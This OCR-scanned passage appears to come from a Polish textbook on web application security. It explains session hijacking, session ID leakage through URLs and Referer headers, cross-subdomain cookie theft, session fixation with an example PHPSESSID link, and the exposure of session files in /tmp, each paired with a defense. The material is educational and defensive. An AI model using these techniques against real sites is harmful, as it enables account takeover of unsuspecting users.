Rys. 5.6. Mozliwe sposoby przechwycenia identyfikatora sesji — zestawienie

Zrédfo: opracowanie wtasne

Jako srodki zapobiegawcze przechwyceniu sesji nalezy stosowal przede
wszystkim przemyslane identyfikatory. Nalezy unika¢ niewielkich rozmiaréw liczb
tatwych do ztamania metodami sitowymi lub fraz dajgcych sie zidentyfikowac¢ lub
odgadngé (np. jako adres email, id czy IP uzytkownika). Zaleca sie natomiast
stosowanie duzych liczb 16. bajtowych takich jak UUID (ang. Universally Unique
Identifier). Liczby takie posiadajg blisko 3,4*10°® mozliwosci, czyli ich wygenerowanie
metodg bezposredniego przegladu jest mato prawdopodobne. Sg one generowana
pseudolosowo, dzieki czemu nie powinno by¢ mozliwo$¢ ich odgadniecia.

Paradoksalnym okaza¢ sie moze fakt, ze w mniemaniu wielu osdb wytgczenie
mozliwosci zapisu cookies poprawia bezpieczehstwo. Nie jest jednak znany jeszcze

przypadek naruszenia bezpieczenstwa komputera spowodowanego bezposrednio
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zapisem danych do ciasteczka. Aplikacja internetowa zazwyczaj w pierwszej
kolejnosci probuje zapisaé¢ identyfikator sesji do pliku cookie. W przypadku odrzucenia
ciasteczka modyfikowane sg adresy fgczy, tak by zawieraly identyfikator ses;ji
niezbedny do zidentyfikowania uzytkownika lub tez nastepuje odmowa wspétdziatania
na linii uzytkownik-aplikacja internetowa. Duzo bardziej ryzykowne jest przekazywanie
identyfikatora sesji jako czesci adres URL, poniewaz adresy takie czesto zapisywane
sg zarowno w plikach dziennika, jak i w pamieci przegladarki. Sprawia to, ze dostep
do identyfikatorow sesji jej duzo tatwiejszy niz w przypadku zapisu ich w cookie
(Hoffman i Sullivan, 2009). Jezeli identyfikator sesji przekazywany jest jako fragment
URL mozna rowniez odczyta¢ jego wartoS¢ poprzez zamieszczenie na witrynie
zasobu zewnetrznego (np. przez XSS lub adres obrazka), do ktérego zostanie przeka-
zany nagtowek Referer zawierajgcy adres witryny wraz z identyfikatorem sesiji.

Ataki Cross-Domain, Cross-Path lub Cross-Port umozliwiajg dostep do cookies
(iinnych plikéw klienta) w specyficznych sytuacjach. Ataki typu Cross-... pozwalajg
przegladarce na odczyt cookie na mocy praw zadeklarowanych przez aplikacje je
zapisujaca. Przyktadowo, wiasciciel domeny rowery.pl posiada nastepujgce serwisy:

e rowery.pl — portal poswiecony rowerom,

e sklep.rowery.pl — sklep z rowerami,

e serwis.rowery.pl — serwis naprawiajgcy rowery — witryng pod tym adresem
zajmuje sie zewnetrzna firma ustugowa.

Jezeli domena rowery.pl zapisata cookie z mozliwoscig odczytu przez wszystkie

poddomeny (umozliwia to bycie zalogowanym zaréwno na portalu, jak i w sklepie

internetowym), to wilasciciel serwies.rowery.pl moze bez problemu wykrasc

identyfikatory sesji klientow sklepu, poniewaz posiada mozliwos¢ odczytu ich cookie.

Analogiczna sytuacja dotyczy wszystkich serwisow, gdzie istniejg poddomeny

korzystajgce z tych samych cookies.

W celu zwiekszenia poziomu bezpieczenstwa mozna dodatkowo stosowac
walidacje danych sesji. Jezeli podczas jej trwania ulegnie zmianie IP (lub kraj,
z ktérego adres pochodzi) oraz agent uzytkownika, domniemywa¢ mozna, ze identy-
fikator zostat skradziony i nalezy poprosi¢ uzytkownika o ponowne potwierdzenie

swojej tozsamosci.
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Wymuszenie sesji

Idea ataku wymuszenia sesji (ang. Session Fixation) polega na tym, ze sesja
inicjowana jest przez atakujgcego, ktdremu aplikacja przydziela identyfikator sesji
przed uwierzytelnieniem. Identyfikator taki jest nastepnie przekazywany ofierze
w postaci linku. Po jego otworzeniu zaréwno ofiara jak i atakujgcy korzystajg serwisu
w ramach jednej sesji. Z tym, ze ofiara uwierzytelnia sie w aplikacji, przypisujgc fakt
uwierzytelnienia do przekazanego identyfikatora. Napadajacy po takim uwierzytel-
nieniu wykorzystuje aplikacje na prawach uzyskanych przez ofiare. Schemat takiego
ataku zostat przedstawiony na rysunku 5.7.

Ofierze przekazywany jest link np.
http://example.com/checkout.php?id=123&PHPSESSID=abcd

i Atakujacy korzysta
6 z serwisu podszywajac
i sie pod tozsamos¢

. Znany jest ofiary
“.. identyfikator |
e “abed”
i e Ofiara dokonuje
RN .y e czynnosci,
Atakujacy h np. uwierzytelnienia
inicjuje sesje w serwisie

Rys. 5.7. Przykfadowy schemat ataku polegajgcego na wymuszeniu sesji

Zrédfo: opracowanie wtasne

Ochrong przed wymuszeniem sesji jest ponowne generowanie identyfikatora
sesji ilekro¢ uzytkownik uwierzytelni sie pomys$inie w serwisie. Wtedy, znany
agresorowi identyfikator bedzie po prostu bezuzyteczny. W PHP do regeneraciji
identyfikatora sesji stuzy funkcja session regenerate id(). Metoda ta dziata

w przypadku jednego zatozenia — nowe generowane identyfikatory nie mogg byc¢
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odgadniete w Zaden sposdb przez agresora. Nie moze by¢ zatem sytuacji, ze sg one
generowane seryjnie (np. kolejne numery) oraz agresor nie moze powtorzy¢ procesu
generowania na swoim komputerze, wyznaczajgc kolejny identyfikator w sposéb

identyczny, jak realizuje to aplikacja.
Ujawnienie i podmiana danych sesji

W system UNIX pliki reprezentujgce dane sesji zapisywane sg w domyslnie
w katalogu ogdlnodostepnym /tmp. Dostep do tego katalogu mozliwy jest dla innych
uzytkownikéw systemu operacyjnego i innych posiadaczy hostingu wspdétdzielonego.
Moga oni wykras¢ identyfikatory poprzez wyswietlenie listy plikéw (nazwy plikow sesji
zawierajg ich identyfikator), a takze odczyta¢ lub zapisa¢ plik na prawach wiasciciela
serwera HTTP. Luka ta jest powaznym zagrozeniem dla bezpieczenstwa w systemach

wspoétdzielonych i umozliwia ujawnienie oraz modyfikacje danych sesji uzytkownika.
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